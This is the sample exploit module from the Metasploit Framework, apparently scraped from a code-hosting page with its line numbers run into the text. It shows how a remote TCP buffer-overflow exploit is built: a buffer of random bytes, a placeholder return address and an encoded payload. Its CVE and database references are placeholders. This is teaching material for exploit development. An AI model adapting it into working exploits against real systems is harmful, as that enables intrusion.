Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/example.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# This exploit sample shows how an exploit module could be written to exploit8# a bug in an arbitrary TCP server.9#10###11class MetasploitModule < Msf::Exploit::Remote12Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html1314#15# This exploit affects TCP servers, so we use the TCP client mixin.16# See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the17# vulnerable target program.18#19include Exploit::Remote::Tcp2021def initialize(info = {})22super(23update_info(24info,25# The Name should be just like the line of a Git commit - software name,26# vuln type, class. Preferably apply27# some search optimization so people can actually find the module.28# We encourage consistency between module name and file name.29'Name' => 'Sample Exploit',30'Description' => %q{31This exploit module illustrates how a vulnerability could be exploited32in an TCP server that has a parsing bug.33},34'License' => MSF_LICENSE,35'Author' => ['skape'],36'References' => [37[ 'OSVDB', '12345' ],38[ 'EDB', '12345' ],39[ 'URL', 'http://www.example.com'],40[ 'CVE', '1978-1234']41],42'Payload' => {43'Space' => 1000,44'BadChars' => "\x00"45},46'Targets' => [47# Target 0: Windows All48[49'Windows XP/Vista/7/8',50{51'Platform' => 'win',52'Ret' => 0x4142434453}54]55],56'DisclosureDate' => '2020-12-30',57# Note that DefaultTarget refers to the index of an item in Targets, rather than name.58# It's generally easiest just to put the default at the beginning of the list and skip this59# entirely.60'DefaultTarget' => 0,61# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html62'Notes' => {63'Stability' => [],64'Reliability' => [],65'SideEffects' => []66}67)68)69end7071#72# The sample exploit just indicates that the remote host is always73# vulnerable.74#75def check76CheckCode::Vulnerable77end7879#80# The exploit method connects to the remote service and sends 1024 random bytes81# followed by the fake return address and then the payload.82#83def exploit84connect8586print_status("Sending #{payload.encoded.length} byte payload...")8788# Build the buffer for transmission89buf = rand_text_alpha(1024)90buf << [ target.ret ].pack('V')91buf << payload.encoded9293# Send it off94sock.put(buf)95sock.get_once9697handler98end99end100101102